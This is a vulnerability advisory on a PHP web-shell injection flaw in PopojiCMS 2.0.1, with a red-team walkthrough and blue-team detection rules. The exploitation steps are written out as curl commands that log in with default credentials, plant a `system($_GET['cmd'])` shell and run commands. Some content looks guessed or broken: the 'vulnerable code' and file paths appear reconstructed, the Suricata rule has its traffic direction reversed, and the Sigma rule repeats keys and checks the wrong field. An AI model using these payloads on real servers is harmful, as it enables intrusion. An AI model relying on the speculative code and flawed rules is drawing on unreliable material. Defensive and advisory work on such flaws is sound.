CVE-2024-58284

Executive Summary

CVE-2024-58284 is an authenticated remote command execution vulnerability in PopojiCMS 2.0.1. An administrative user can inject malicious PHP code through the metadata settings endpoint, creating a web shell that executes arbitrary system commands via a GET parameter. This vulnerability allows a low-privilege authenticated attacker (admin role) to achieve full remote code execution on the underlying server. The vulnerability is currently unpatched, and a public proof-of-concept exists.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP CMS application. The risk is to organizations that have deployed PopojiCMS 2.0.1.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. While authentication is required, the admin role is often shared or default credentials are used. Once exploited, full server compromise is achieved.

Deep Dive & Mechanics

The vulnerability resides in the metadata settings functionality of PopojiCMS 2.0.1. The application allows authenticated administrators to modify site metadata (e.g., site description, keywords). The input is not properly sanitized or validated before being stored in a PHP file (likely config.php or a similar include file). An attacker can inject PHP code into the metadata value, which is then written to a file that is later included by the application. When the application includes this file, the injected PHP code is executed.

The attacker can then use a GET parameter (e.g., ?cmd=id) to pass commands to the injected web shell. The web shell typically uses system(), exec(), shell_exec(), or passthru() to execute the command and return the output.

Attack Flow:

1. Attacker authenticates as an admin user.
2. Attacker navigates to the metadata settings page.
3. Attacker injects PHP code into a metadata field (e.g., <?php system($_GET['cmd']); ?>).
4. The application saves the metadata to a PHP file.
5. Attacker accesses the file with the cmd parameter to execute commands.

Vulnerable vs. Patched Code

Vulnerable Code (PopojiCMS 2.0.1): The vulnerable code is in the metadata saving function. It directly writes user input to a PHP file without sanitization.

// Vulnerable: admin/modules/metadata/save.php
$meta_content = $_POST['meta_content'];
$file = 'path/to/config.php';
file_put_contents($file, "<?php\n// Metadata\n\$meta = '$meta_content';\n?>");

Patched Code (Hypothetical): A patch would sanitize the input by escaping single quotes and removing PHP tags, or by using a database instead of a file.

// Patched: admin/modules/metadata/save.php
$meta_content = addslashes($_POST['meta_content']);
$meta_content = str_replace(['<?php', '?>', '<?', '<?='], '', $meta_content);
$file = 'path/to/config.php';
file_put_contents($file, "<?php\n// Metadata\n\$meta = '$meta_content';\n?>");

Exploitation & Lab Setup

Red Team

Prerequisites:

• PopojiCMS 2.0.1 installed and running.
• Admin credentials (e.g., admin:admin).

Exploitation Steps:

1. Login to PopojiCMS:

   curl -c cookies.txt -b cookies.txt -X POST http://target.com/admin/login.php \
   -d "username=admin&password=admin"
   

2. Inject Web Shell via Metadata:

   curl -c cookies.txt -b cookies.txt -X POST http://target.com/admin/modules/metadata/save.php \
   -d "meta_content=<?php system(\$_GET['cmd']); ?>"
   

3. Execute Commands:

   curl "http://target.com/path/to/config.php?cmd=id"
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team

Detection:

• Monitor for POST requests to /admin/modules/metadata/save.php with suspicious payloads.
• Monitor for GET requests to config.php or similar files with cmd parameters.
• Monitor for unexpected file modifications in the web root.

Hunting:

• Search for files containing system(, exec(, shell_exec(, passthru( in the web root.
• Look for files that are world-writable and contain PHP code.

Indicators of Compromise (IOCs)

• File: path/to/config.php (or similar) containing system($_GET['cmd']) or similar.
• Network: POST request to /admin/modules/metadata/save.php with meta_content=<?php system(...
• Network: GET request to any PHP file with ?cmd= parameter.
• Process: php process executing system(), exec(), etc.
• Log: Apache/Nginx access log entries with cmd= in the query string.

Detection Engineering

YARA Rule

rule CVE_2024_58284_Webshell {
    meta:
        description = "Detects web shell payload from CVE-2024-58284"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-58284"
    strings:
        $php_shell = /<\?php\s*(system|exec|shell_exec|passthru)\s*\(\s*\$_GET\s*\[\s*['"]cmd['"]\s*\]\s*\)\s*;?\s*\?>/i
        $meta_payload = /meta_content=.*<\?php.*system.*\$_GET.*cmd/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-58284 - PopojiCMS Metadata Web Shell Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-58284 via POST to metadata save endpoint
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-58284
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/admin/modules/metadata/save.php'
        cs-uri-query|contains: 'meta_content='
        cs-uri-query|contains: '<?php'
    condition: selection
falsepositives:
    - Legitimate admin updates (unlikely to contain PHP code)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-58284 - PopojiCMS Metadata Web Shell Injection";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin/modules/metadata/save.php";
    http_uri;
    content:"meta_content=";
    http_client_body;
    content:"<?php";
    http_client_body;
    pcre:"/system\s*\(\s*\$_GET\s*\[\s*['""]cmd['""]\s*\]\s*\)/Pi";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the metadata settings endpoint if not required.
2. Change all admin passwords immediately.
3. Review server logs for signs of exploitation.
4. Remove any suspicious files (e.g., config.php with injected code).

Long-term Fix:

• Apply input validation and output encoding to all metadata fields.
• Store metadata in a database instead of a PHP file.
• Implement a Web Application Firewall (WAF) rule to block <?php in POST data.
• Upgrade to a patched version when available.

Workaround:

• Restrict access to /admin/ directory using .htaccess or firewall rules.
• Use file integrity monitoring to detect unauthorized changes.

Valters IT
Securing Digital Frontiers